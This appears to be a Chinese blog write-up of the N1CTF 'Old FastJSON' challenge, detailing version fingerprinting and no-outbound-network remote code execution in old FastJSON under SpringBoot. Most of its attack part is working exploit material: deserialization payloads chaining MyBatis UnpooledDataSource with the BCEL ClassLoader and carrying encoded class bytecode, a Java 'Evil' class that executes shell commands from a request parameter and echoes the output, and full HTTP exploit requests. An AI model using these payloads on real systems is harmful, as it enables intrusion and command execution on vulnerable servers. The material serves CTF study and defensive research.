0
点赞
收藏
分享

微信扫一扫

老版本Fastjson的一些不出网利用(N1CTF)

眸晓 2023-01-31 阅读 124

目前网上常见的老版本Fastjson不出网利用方式,主要有BCEL ClassLoader代码执行、C3P0二次反序列化、common-io写文件等利用方式,在我们的目标环境下均失败。
这次将BCEL ClassLoader的利用方式改成了题目出到了n1ctf中。
在这次的n1ctf中,题目叫做Old FastJSON,题目描述为Rce and get flag,最终一支队伍解出,第一天给出了User.java的代码,根据题目很容易了解到是要针对老版本FastJSON实现RCE,登录后抓包。

POST /api/login HTTP/1.1
Host: local:8080
Content-Length: 35
Content-Type: application/json
Connection: close


{"username":"asd","password":"asd"}

根据404页面能够知道后端框架为SpringBoot

老版本Fastjson的一些不出网利用(N1CTF)_apache

{
"@type":"java.net.Inet6Address",
"val":"127.0.0.1",
"username":"asd","password":"asd"
}

老版本Fastjson的一些不出网利用(N1CTF)_json_02                                                                                                   

{
"a":{"@type":"java.net.Inet6Address",
"val":"127.0.0.1"},
"username":"asd","password":"asd"
}

老版本Fastjson的一些不出网利用(N1CTF)_json_03

@type提交后发现后端产生了异常,而将@type放到value时不会产生异常,能够知道是因为设置了期望类导致type not match的原因,能够想到是SpringBoot常用FastJSON HttpMessageConverters方式。

@ResponseBody
@PostMapping(value = {"/api/login"}, produces="application/json;charset=UTF-8")
public Object doLogin(@RequestBody User user, HttpServletRequest request){

{
"a":{"@type":"java.net.InetAddress",
"val":"127.0.0.1"
},
"username":"asd","password":"asd"}

老版本Fastjson的一些不出网利用(N1CTF)_apache_04

返回正常,证明FastJSON < 1.2.48

{"username":"admin","password":"123456",
"a":{"@type":"bbb"}
}

 返回异常,证明版本>1.2.24

{
"a":{"@type":"java.net.InetAddress",
"val":"www.baidu.com"
},
"username":"asd","password":"asd"}

老版本Fastjson的一些不出网利用(N1CTF)_apache_05

127.0.0.1返回正常,www.baidu.com返回异常,说明目标机器不存在DNS配置或者不出网。

{"c":{"@type":"java.lang.Class","val":"javax.swing.JEditorPane"},"d":{"@type":"javax.swing.JEditorPane","page":"http://host/a"}}

提交返回异常,且无请求产生,也就说明了目标机器无DNS且无法出网,也就是说需要在不出网的场景下实现RCE。
然后探测目标classpath下是否存在公开的FastJSON不出网RCE的利用链,

{"a":{"@type":"java.lang.Class",
"val":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"
},"b":{
"@type":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"},
"username":"a",
"password":"b"
}

返回异常,证明classpath下不存在dbcp利用链。

老版本Fastjson的一些不出网利用(N1CTF)_apache_06

{"a":{"@type":"java.lang.Class",
"val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
},"b":{
"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},
"username":"a",
"password":"b"
}

老版本Fastjson的一些不出网利用(N1CTF)_apache_07

返回正常,证明classpath下存在mybatis,进而使用mybatis实现不出网RCE。

{"x":{"xxx":{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"www":{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"com.alibaba.fastjson.JSONObject","c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},"c":{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driverClassLoader":{"@type":"com.sun.org.apache.bcel.internal.util.ClassLoader"},"driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmQ$cbN$hA$Q$ac$b1$8d$f7$c1$9a$87$c1$e6$91$84$98$b7$8d$E$3e$e4h$94K$ER$94M$88bd$94$e3x$Y$cc$c0$b2$b3Z$8f$81$3f$e2$cc$85D$89$94$dc$f3Q$88$9e$F$ZKd$P$dd$d3U$d5$d5$3d$b3$ff$ee$7f$fd$B$f0$Ou$l$k$e6$7d$y$60$d1$c5$x$9b_$3bx$e3$60$c9G$Ro$j$d4$i$y3$UwU$ac$cc$7b$86$7c$bd$d1a$u$7c$d0$c7$92a2T$b1$fc2$b8$e8$ca$f4$90w$pB$ca$a1$W$3c$ea$f0T$d9$fa$J$y$98S$d5$t$8fp$efRE$z$GwWDOv$8c$e8Jx$c6$_yS$e9$e6$c7$83$bdk$n$T$a3tL$b2R$dbpq$fe$99$t$99$N$z$c5$e0$b7$f5$m$Vr_Y$5b$cf$da$ed$d8$de$A$3e$c6$j$ac$EX$c5$gCU$t2$aem$f3$g$ad$o$G$R7$3a$dd$e1I$S$60$j$h$M3$ff$99$c6$b0$98$a1$R$8f$7b$cdo$83$d8$a8$L9$q$ad$fb$s$dd$c2$8ec$98z$W$kt$cf$a40$M$d3$_zi$d3$9e4$c3$a2Ro$84$_4t$c3$82$bc$96$82a$b3$3e$c2$b6M$aa$e2$5ek$b4$e1k$aa$85$ec$f7$a9a$7eTyx$9a$ea$x$fb4$adF$H$cbp$e9$3f$da$_$Hf$9f$83b$40U$932$a3$3c$b6$f5$D$ec6$a3K$U$8b$Z$98$c7$E$c5$e0Q$80ILQv1$3dl$3e$n$85$e5$e6$7e$oW$ce$df$a1pt$83$d2$a7$df$u$7e$t7$e7$efmFz$q$j$p$a1$b5$ad$d2$Jp$I$f3$Ju$J$f3$I$h$l$8e$b1u$Z3T$cdf$ba$5c$e8$a0$e2$RQ$cd6$9b$7b$A$7f$Q$bb$L$96$C$A$A"}}:{}}}

使用1.2.47的利用,没能成功实现RCE,能够猜到版本为1.2.25 - 1.2.32 之间的版本。接下来就是上面写的分析这些版本里如何实现RCE内容了,这也是我自己当初在黑盒测目标时的整个分析历程。

@ResponseBody
@PostMapping(value = {"/api/login"}, produces="application/json;charset=UTF-8")
public Object doLogin(@RequestBody User user, HttpServletRequest request){

SpringBoot的fastJsonHttpMessageConverters与普通的JSON.parse也存在一定的不同。

[{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$[1]"}, "driver":"$$BCEL$$"},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"com.alibaba.fastjson.JSONObject","connection":{}},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.connection"}}]

首先是因为接口定义的类并不是一个数组,而之前构造的利用是数组形式的,并不支持这种形式,需要换回{}

{"x":[{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$[1]"}, "driver":"$$BCEL$$"},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"com.alibaba.fastjson.JSONObject","connection":{}},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.connection"}}],
"username":"a",
"password":"b"
}

提交后发现依然失败。

老版本Fastjson的一些不出网利用(N1CTF)_json_08

调试发现是因为SpringBoot fastJsonHttpMessageConverters进行JSON.parse的时候会默认设置期望类为路由参数里对应的类,也就是期望类为com.n1ctf.oldfastjson.User,而普通的JSON.parse是不存在这个问题的。

这也就导致了Root context变为了com.n1ctf.oldfastjson.User对象,因为x并不是User的Field,会被设置为null,导致了之前构造payload里面的各种引用都需要更改。

但是直接将引用修改为$.null[1]也无法利用,因为这时候的RootContext变为了User。

com.alibaba.fastjson.JSONPath#getPropertyValue 中,

protected Object getPropertyValue(Object currentObject, String propertyName, boolean strictMode) {
if (currentObject == null) {
return null;
} else if (currentObject instanceof Map) {
Map map = (Map)currentObject;
Object val = map.get(propertyName);
if (val == null && "size".equals(propertyName)) {
val = map.size();
}


return val;
} else {
Class<?> currentClass = currentObject.getClass();
JavaBeanSerializer beanSerializer = this.getJavaBeanSerializer(currentClass);
if (beanSerializer != null) {
try {
return beanSerializer.getFieldValue(currentObject, propertyName);
} catch (Exception var12) {
throw new JSONPathException("jsonpath error, path " + this.path + ", segement " + propertyName, var12);
}
} else if (currentObject instanceof List) {
List list = (List)currentObject;
if ("size".equals(propertyName)) {
return list.size();
} else {
List<Object> fieldValues = new JSONArray(list.size());


for(int i = 0; i < list.size(); ++i) {
Object obj = list.get(i);
Object itemValue = this.getPropertyValue(obj, propertyName, strictMode);
if (itemValue instanceof Collection) {
Collection collection = (Collection)itemValue;
fieldValues.addAll(collection);
} else {
fieldValues.add(itemValue);
}
}


return fieldValues;
}

首先会对rootContext对象进行一次getFieldValue操作,如果不存在对应Field则会直接抛出异常结束流程。

package com.n1ctf.oldfastjson;


public class User {


private String username;
private String password;
private Object friend;


public String getUsername() {
return username;
}


public void setUsername(String username) {
this.username = username;
}


public String getPassword() {
return password;
}


public void setPassword(String password) {
this.password = password;
}


public Object getFriend() {
return friend;
}


public void setFriend(Object friend) {
this.friend = friend;
}


}

根据题目中给出了User类中,可以发现存在username、password、friend属性。

这里需要使用friend属性来进行反序列化,因为friend属性的类型为Object,而username和password都为String,FastJSON在反序列化Field的时候会根据类型选择反序列化器,String类型就会为StringCodec反序列化器没法反序列化出list。

选择friend属性反序列化出list后,又会递归getPropertyValue,然后又跟前面的流程一样了,遍历List中的对象再递归调用getPropertyValue,触发getter方法实现RCE。

实现代码执行后,SpringBoot就可以轻松实现命令执行回显了,因为BCEL ClassLoader的原因无法直接获取到webapp下的类。先通过Thread.currentThread().getContextClassLoader() 获取当前线程的classloader,进而获取到webapp下的类,实现命令执行回显,代码如下。

import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;


public class Evil {


public Evil() throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {


Class requestContextHolder = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");


Method m = requestContextHolder.getDeclaredMethod("getRequestAttributes");
Object obj = m.invoke(null);


m = obj.getClass().getMethod("getRequest");
Object request = m.invoke(obj);


m = obj.getClass().getMethod("getResponse");
Object response = m.invoke(obj);


m = request.getClass().getMethod("getParameter", String.class);


String cmd = (String) m.invoke(request, "cmd");
if(cmd == null){
cmd = "id";
}
String[] cmds = {"sh", "-c", cmd};
String output = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();


m = response.getClass().getMethod("getWriter");
PrintWriter printWriter = (PrintWriter) m.invoke(response);
printWriter.println(output);
printWriter.flush();
printWriter.close();


}


}

{
"a":[{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type":"java.lang.Class","val":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource"},]
,"username":"asd","password":"asd"}

先将利用类加入到mapping中,再命令执行利用:

POST /api/login HTTP/1.1
Host: 43.154.17.227
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=B7EC019358A6720F1657D9F05520D5DA
Connection: close
Content-Type: application/json
Content-Length: 3290


{
"friend":[{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$.friend[1]"}, "driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7dV$5bW$hU$U$fe$86$5c$ce0$9d$96$Q$a0eZ$LE$a9$N$F$82$d6kC$c5$om$z$g$$$S$E$91z$99L$O$c9$c0d$86$ce$85$e2$b5$5e$ea$fd$5e$9f$fd$F$3e$f9$92$b6$ba$ea$ea$83k$e9$f2$c1W$97$P$fa$e2$8b$fe$Ju$9f$5c$m$90$d4$5cN$ce$f9$f6$3e$7b$ef$f3$ed$7dv$e6$e7$7f$be$fd$k$c0$fd$f8RA$x$kWp$k$93bxB$c6$93$K$d2$98$921$cd0$a3$80a$96$e1$v$Fs$c8$I$cdy$ZO$LpA$c6$a2$8cg$Y$96d$9c$90$f1$ac$8ce$Z$X$Y$9eS$f0$3c$5e$Q$c3$8b$Ktd$Vt$c1$90$91$T$bf$5c$M$x2$f2$M$F$F$3d0$c5$b0$w$865$GKB$f4$94i$9b$fe$98$84Pb$60ABx$c2$c9q$Jmi$d3$e6$d3A1$cb$ddy$3dk$R$SO$3b$86n$z$e8$ae$v$d6U0$ec$XL$8fl$a4$cfn$98$d6$a8$84N$97_$M$b8$e7O8$b6$cf7$fd$f3$8e$95$e3$ae$84$f6$f4$aa$be$a1$8fX$ba$9d$l$99$b0t$cf$pU$a9$u$e1$60$j$ee$f2$V$8b$h$fe$c8$U$f7$LN$8e$UBNvU$b8$ddV$99$c9$ae$92$G$89X$d5$8d$E$d9$e5$de$bac$7b$UK$c8$u$e6v$eag$7c$d7$b4$f3$a4$l$s$R$85$d9$b1$dcL$Yu$C$7f$3d$m$5b$7b$d6$J$f1$X$5d$d3$X1wUtMgdv$h$s$f5$bd$Z_7$d6$a6$f4$f52$FD$n$r$8c$a1H$e9$a2$b4HP$cen$g$7c$dd7$v$s$G$9b$c1aXg$b8$c8$40$s$95$8c$T$b8$G$3fg$K$eaZ$FeI$e1C$c5$5d$e8g$f0T$f8$ITl$e0$92$84S$8e$9bOz$o$a0$fc$8a$ab$X$f9$r$c7$5dK$5e$e2$d9$a4Qa6Ye$m9$d7$84p$86M$V$_$e1e$caG$9e$fbU$8dq$9f$O$9c$N$7cND$b4$edJ$87$8aW$f0$aa$84$d8n$aa$e9$5c$w$5e$c3$eb$w$$$e3$N$8a$7f$db$9a$8a7$c5$8e$3de$a4$96$B$95V$b3$ba$I$b7$cc$60l7$d9$SZLJQ$8bW$a0a$d8$a0$ba$uk$E$bei$8dd$M$dd$b6E$e8o$a9x$hWT$bc$83w$Z$deS$f1$3e$3e$Q$E$7dH$5b$$$8c$ab$f8$I$l$ab$f8$E$9f$S$81$e4$ad$96$ac$8e$s$b9R$f1$Z$3eW$f1$F$faU$5cE$3fU$81$60$5cB$f7$edj$ae$ce$cc$e4$ccV$g$r$i$d9$c5$d6$b4$e3$9fs$C$3bW$a7$d2$bb$ad2$edd$C$a3P$b1X$a71$d8$e8u$d2$de$a0$x$r$c4$f3$baK$87i$eer$d2$b2x$5e$b7$c6$N$83$7b$5e$9dJ$j$bb$f3$F$97$eb$U$fe$5e$pp$5dn$fb$b5ugb$m$bd$5b$8b$w$b8$8b$7cU$eb$a5$7c$9e$b4$a3$97o$a9$b6C$bdN$q$f64$VP$S$y$9a$94$R$JG$T$8d$d7$ab$c1$o$d9j$t$ffg$b8a$e9$$$cf$d5$98$3f$ddd$efr$c3$de$81$ff$eb$XQ$93$f8$5c$a32$3c$99h$ec$Z$cb$8d$d0$40$b3$ce$o$Ln$w$c7$e9h$a4c$b4Ru$b5$a0$db$b7$c5s$81$ed$9bE$5e$bd$p$b5E$d7$O$TUX$f4$p$be$c9$a9$fc$T$89$s$N$a9$7e$c7$ac$eb$88$ac$8f$eepU$F$r$ec$pW$936$b5$$$da$c9uj$a7$Hj$eeD$Fo$Lh$7bw$a2$a9$404$7c5$f0$f8$Zn$99$c5$caM$3av$fb$q$d6$dfSq$I$9b$Khw$91muUVn$a6$96$zHhb$91$iGV$ac$40t$82$88a9$kG$l$ee$a4$7f$3a$f1$a2$ff$G$d1$R$d1$82$a3$b4$f8$jQ$u$84$fe$7d$fc$g$a4$ebh$v$n$U$P$97$QI$P$c6$a3$a1$9b$60$r$c8SC$S$cdZKP$a6$87K$d8$TW$x$f8$de$a9$a1$e1$w$9e$K$97$F$fb$g$F$R$z$y$qma$92$y$85$e2$b1LY$ac$85i$ddJ$ebvZ$x$b7$QKE$b5$e8$8f$60$f1x$w$g$bd$89$YI$3a2K$e1xgf$v$a2E3$v$f6$j$ba$96$aec$bfF$d6$P$94$d0$7d$NZ$fc$60$J$87J$b8$p$rk$R$e1$e1$f0$96o$zRu$7e$L$3d$a9V$adU$93K$e8$d5$I8$o$86$beo$e8$b0$n$dcM$e3$i$3ai$dc$870b$f4$8e$e3$Q$3a$88$92$$$dc$87$fd$YC7$3d0hX$qt$N$87$a9A$f7$e0$Kz$a9$5d$f6$e1$x$a2$f2$G$R$f8$Ti$ffJ$96$fe$c01$fc$89$E$fe$c2q$9a$B$x$VB$J$Z$a0$df$Y$7e$p$7c$90H$3f$84_0$84$e12$f1$3f$m$89$R$8ac$M_$e3$k$9a$85$c9$d3U$dcK$b3$I$f9Z$c5$J$8a$oJ$9e$d2$f44$f3$A$3d$9a$dc$m$ad$H$J$93$c9c$i$P$e1aJ$e6I$b2$de$D$e9_$K$8a1$a4$YF$ZN1$3cR$fb$8c$91$fcQ$fa$aad$f34$c6$f1$Y$sp$86$e28KX$L$ce$fd$H$b6$d8$a1$99$$$J$A$A"},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"com.alibaba.fastjson.JSONObject","connection":{}},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.friend.connection"}}],"username":"asd","password":"asd"}

老版本Fastjson的一些不出网利用(N1CTF)_apache_09

成功实现命令执行,通过命令执行没有直接发现flag地址。

老版本Fastjson的一些不出网利用(N1CTF)_apache_10

通过jar命令查看fatjar可以发现flag在里面

老版本Fastjson的一些不出网利用(N1CTF)_json_11

如果成功登录系统,也会提示flag在fatjar里。

import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.Scanner;


public class Evil {


public Evil() throws IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {


Class requestContextHolder = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");


Method m = requestContextHolder.getDeclaredMethod("getRequestAttributes");
Object obj = m.invoke(null);


m = obj.getClass().getMethod("getRequest");
Object request = m.invoke(obj);


m = obj.getClass().getMethod("getResponse");
Object response = m.invoke(obj);


m = request.getClass().getMethod("getParameter", String.class);


String cmd = (String) m.invoke(request, "cmd");
if(cmd == null){
cmd = "id";
}
String[] cmds = {"sh", "-c", cmd};
String output = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();


InputStream inputStream = Thread.currentThread().getContextClassLoader().getResourceAsStream("f111111ag.txt");;
output = new Scanner(inputStream).useDelimiter("\\A").next();


m = response.getClass().getMethod("getWriter");
PrintWriter printWriter = (PrintWriter) m.invoke(response);
printWriter.println(output);
printWriter.flush();
printWriter.close();


}


}

直接读取flag文件并回显即可。

POST /api/login HTTP/1.1
Host: 43.154.17.227
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: JSESSIONID=B7EC019358A6720F1657D9F05520D5DA
Connection: close
Content-Type: application/json
Content-Length: 3485


{
"friend":[{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource", "driverClassLoader":{"$ref":"$.friend[1]"}, "driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7dV$5bw$TU$U$fe$a6$b9$9c$c9t$a0i$da$C$D$c8U$m$a5m$w$8a$XR$ac$d4$CRMK$r$V$y$c5$cbdr$9aN$3b$99$vs$v$f5$8a$XT$c4$fb$fd$b6$f8$R$fa$Q$40$X$$$9et$z$fd$F$be$fb$e0$93$af$y_$d0$7dr$ni$T$ccjOr$f6$fe$ce$de$df$f9$f69$7b$e6$b7$5b$3f$fe$M$60$3f$beS$Q$c3$T$K2$Y$X$c3$84$8c$e3$K$s$f1$a4$8c$T$MY$F$MS$MO$v8$89S$C$f9$b4$8cia$3c$zcF$c6$Z$86gd$ec$97$f1$ac$8c$e7d$3c$cf$a0$x$c8$c1$QC$5e$B$c7$ac$82$k$Ud$cc$89oS$M$f32$WD$CKF$91$c1V$b0$N$8e$Y$W$c5p$96$c1$95$Q$3dh$da$a6$3f$y$n$94$ec$3d$v$n$3c$ea$e4$b9$84$8e$8ci$f3$89$a0$98$e3$ee$94$9e$b3$c8$92$c88$86n$9d$d4$5dS$cc$ab$c6$b0$3fgz$U$psd$c9$b4$86$qt$bb$fcl$c0$3d$7f$d4$b1$7d$be$ec$ls$ac$3c$a7$i$9d$99y$7dI$l$b4t$bb08j$e9$9eGP$a9$uac$83$dd$e5$b3$W7$fc$c1q$ee$cf9y$C$84$9c$dc$bcH$5b$87$i$cf$cd$T$82$5c$ac$9aF$82$ecro$d1$b1$3d$e2$S2$8a$f9$95$f8$ac$ef$9av$81$f0ar$R$cd$ae$99V$ce$a8$T$f8$8b$B$c5j7m$fa$s$3b$d7$89$5bO$Fk$3a$83cu3$c1$db$Xi$9d$7f$ca5$7d$b1$b3$3aj$b2n$s$d4$9a$ac$af$h$L$e3$fabY$u$S$9a$ca$cb$e0Qq$a9$88$S$94$p$cb$G_$f4Mb$ce$e03$E$MK$M$e7$Y$96$c9$97u$C$d7$e0GM$npL$I$9b$S9T$ec$c2n$86$XT$bc$88$97T$bc$8cW$q$it$dcB$ca$T$84$K$b3$ae$5e$e4$e7$iw$nu$8e$e7RFE$ffTU$a7$d4$89$WeaxU$c5y$bcFU$xp$bf$8a$Y$f1I$96$5c$e0s$92$abcU$d1T$bc$8e7$q$c4W$X$84$f6$a5$e2M$5cP$f1$W$de$s$fe$f5h$w$de$R$x$da$cb$96Z$9dT$9aM$ea$82nY$c1$f8$ea$92Hh3$a9$90m$de$i$N$D$G$9d$9e2$o$f0Mk0k$e8$b6$z$a8_T$f1$$$$$a9x$P$ef3$7c$a0$e2C$7c$q$E$fa$98$96$9c$ZQ$f1$J$3eU$f1$Z$3e$a7B$cc$ee$x$7f$f4B$ca_$sB_$e0KR$95$u$d4$w$d8$d5$a2$80$w$be$c2$d7$w$be$c1n$V$dfb7$j$mQ$G$J$h$eet$5c$h$c2$8c$j$bf$5d$5b$J$dbVI8$e1$f8G$9d$c0$ce7$40$b6$d6$n$TN60$e6$w$R$h$Q$7d$cdY$c7$ec$r$ba$8d$c2$3d$a5$bb$b4$99$d6$v$c7$y$8b$Xtk$c40$b8$e75$40$g$q$9f$9a$a3cM$f4$d7$Y$81$ebr$db$af$cd$bb$93$bd$99$d5$u$3a$d6$3d$94$abz$88$ca$fb$c98z$f9$82k$x$e0$N$$$b1$a6$a5$83$8a$60$d1$8f$b2E$c2$aed$f3$cdl$8aH$b1$3a$v$ffanX$ba$cb$f35$e5$P$b5X$3b$d3$b4$b6$f7$ffZM$d4$q$3d$X$e8l$kH6$b7$9b$99fSo$ab$a6$q$Lm$w$db$e9j$96c$a8r$eaj$a4$3b$eb$ee$T$81$ed$9bE$5e$bd8$b5I$cf$8a$QU$b3he$7c$99$d3$9dH$s$5b$f4$b2$c6$V$93$ae$p$aa$3e$b4$oU$d5$ua$z$a5$gk$ecv$ebk$e9$9a$fa$dd$86dK$87xV$a8$81$c7$Ps$cb$yVn$d2$9e$3b$X$b1$f1$f2$8aM$d8t$80V$l$b2$db$N$b9$ab$d2$$$ca$5dp$c4$ab1$ec$bds$f4$s$ce$ac$dc$a3$z$5b$c8$d8b$VQ$8f$ccZ$81h0$R$c3r$3c$8e$ed$b8$9b$k$b7$e2C$P$s$d1h$d1$86$3d$40$5b$H$a2h$tcl$ef$VHW$d1VB$u$R$$$n$92$e9KDC$d7$c1J$90$c7$fb$r$fa$V$xA$99$Y$u$a1$3d$a1V$eck$c6$fb$H$aa$f6t$b8$ecX$db$ec$88ha$e1$e9$I$93g$3a$94$88g$cbn$zL$f3$Y$cd$3bi$ae$dc$40$3c$j$d5$a2$bf$82$r$S$e9h$f4$3a$e2$e4$e9$caN$87$T$dd$d9$e9$88$W$cd$a6$d9O$e8$99$be$8au$gE__$c2$86$x$d0$S$hK$d8T$c2$e6$b4$5c$r$7dW$J$5b$d21$B$d4b$x$fcZD0$d8z$9b$9b$W$a9$92$bb$81miES4$b9$84$ed$9aR$c2$O1$ec$fc$9e$q$K$nI$e3i$ac$a3$b1$Dat$o$8e$$lB7$J$b7$O$f7a$3d$86$a1$d1$db$cdF$9c$c2f$y$60$L$3de$b6$e2$C$bdq$5c$c4$O$5c$c6N$5c$p$e4$_$q$f2$l$U$e9$_$f4$e2$s$f6$e2$W$fa$a4$Q$fa$r$Z$v$b2$A$8b$V$e1$c9$d3G$b38$feA$3f$G$a88$9b$f07$n$G$a9$40$bb$f0$t$ee$c1$3e$e23$8c$dfq$_$fd$KS$c6$l$88$c1$3eD$u$e7$rz$e1$ba$9f$Kx$Z$W$k$c0$83$f4$ku$8d$5e$85$k$o$9bL$d9Gq$Ai$w$faM$q0$84$83P$f00$e5$d9$C$e9_$a2$c9$Y$86$Z$ka8$c40R$fb$7b$94$fc$a3$f4$afR$f4$c38$82$a3x$M$c7$88$d1$Y$d9$da$f0$f8$7f$BH$87$F$e5$J$A$A"},{"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader","":""},{"@type":"com.alibaba.fastjson.JSONObject","connection":{}},{"@type":"org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driver":{"$ref":"$.friend.connection"}}],"username":"asd","password":"asd"}

老版本Fastjson的一些不出网利用(N1CTF)_java_12

结束后,看了Writeup,才发现原来不是非得$ref调getter才能解决(我当初主要精力还是在解决怎么实现低版本$ref getter -.-),用JSONObject一样能解决,JSONObect也没有低版本$ref各种限制,利用更简单方便。

com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(Map object, Object fieldName)

if (key == "$ref" && context != null && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {


typeName = lexer.stringVal();
lexer.nextToken(13);
Object refValue = null;
ParseContext rootContext;
if ("@".equals(typeName)) {
if (this.context != null) {
rootContext = this.context;
thisObj = rootContext.object;
if (!(thisObj instanceof Object[]) && !(thisObj instanceof Collection)) {
if (rootContext.parent != null) {
refValue = rootContext.parent.object;
}
} else {
refValue = thisObj;
}
}
} else if ("..".equals(typeName)) {
if (context.object != null) {
refValue = context.object;
} else {
this.addResolveTask(new ResolveTask(context, typeName));
this.setResolveStatus(1);
}
} else if ("$".equals(typeName)) {
for(rootContext = context; rootContext.parent != null; rootContext = rootContext.parent) {
}


if (rootContext.object != null) {
refValue = rootContext.object;
} else {
this.addResolveTask(new ResolveTask(rootContext, typeName));
this.setResolveStatus(1);
}
} else {
this.addResolveTask(new ResolveTask(context, typeName));
this.setResolveStatus(1);
}

当初没注意到"..",以为在反序列化Field是所有的$ref都是新增任务后期处理,但是如果$ref是".."的话就不会新增任务,而是直接获取parent context实现了对属性的赋值。

也就可以实现了前面说的,在JSONObject触发getter之前就已经完成对Field赋值了,最后就很简单的构造了!!!

{"friend":{
"@type": "com.alibaba.fastjson.JSONObject",
"name": {
"@type": "java.lang.Class",
"val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
}
},"x":{
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader",
"x": {"x":{{
"@type": "com.alibaba.fastjson.JSONObject",
"c": {"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource","driverClassLoader": {
"$ref": ".." },"driver":"$$BCEL$$$l$8b$I$A$A$A$A$A$A$Am$91$ddN$h1$Q$85$8f$93$F$c36$U$I$3f$fd$_$BZ$I$m$c8M$ef$82P$R$C$vR$g$aa$s$82k$c7$98$c4$c8$d8$d1$ae7$e2$b5$b8$81$aa$X$3c$A$PUu$i$w$b2R$bb$96$f6h$ce$7c$c7$b3$9a$7d$fc$fd$eb$B$c0$Xl$c6$98$c4r$8cWx$3d$857A$dfr$bc$e3x$cf0$b9$af$ad$f6$H$M$c5$ea$d6$ZCt$e4$$$U$c3lS$5b$d5$ca$ae$bb$w$e9$88$ae$n$a7$dctR$983$91$e8P$ff5$p$df$d7$v$dd$d1$3c$kjSg$88$8fo$a4$gx$edl$ca$f1$81$e3$p$c7$KG$85c$95zm$97$rR$9d$e8$Q$9c$O$81$bd$x1$U$rpLq$ac$95$b0$8eO$M$cbn$a0leWTh$98$cc$8c$f0$$$d9$T$83A$J$9f$b1A$f3B$8ca$$$EkF$d8$5e$ed$b4$7b$a5$a4gX$YY$da$d5$g$a7$cf$df$c0P$Z$83GF$a4i$cb$f9$T$97$d9$8b$i$b22FZ$ae$9d$c9$fe7$e5$fb$$O$ec$8c$89D$5d$g$gWk$d8$nm$p$b4$3b$o$e9$v$ff$ff$91$NcTO$98C$vU$9a$e6$90$f91$f2$p$b3$5e_$d3Bb$ba$e5$b9X$aan5$ffah$bd$91$baQ$92a$b3$9a$eb$b6$7d$a2m$af$9e$P$7cO$5c$98X$c7$w$s$e8$bf$87$87$d1$a1$3d$a3$80i$aa$be$922$d2$97$db$f7$60$3fQ$u$X$ef$Q$9d$df$92S$40$i$7c$U$e9$3d$8b$I$f3$98A$Z$_$a8$w$3d$rHgF$g$9c$Jb$e6$88$vc$81$ba$8b$a3$fc$d2$l$aa$ee$90$ebu$C$A$A"}}:"x"}},
}},
"username":"a","password":"b"}

举报

相关推荐

0 条评论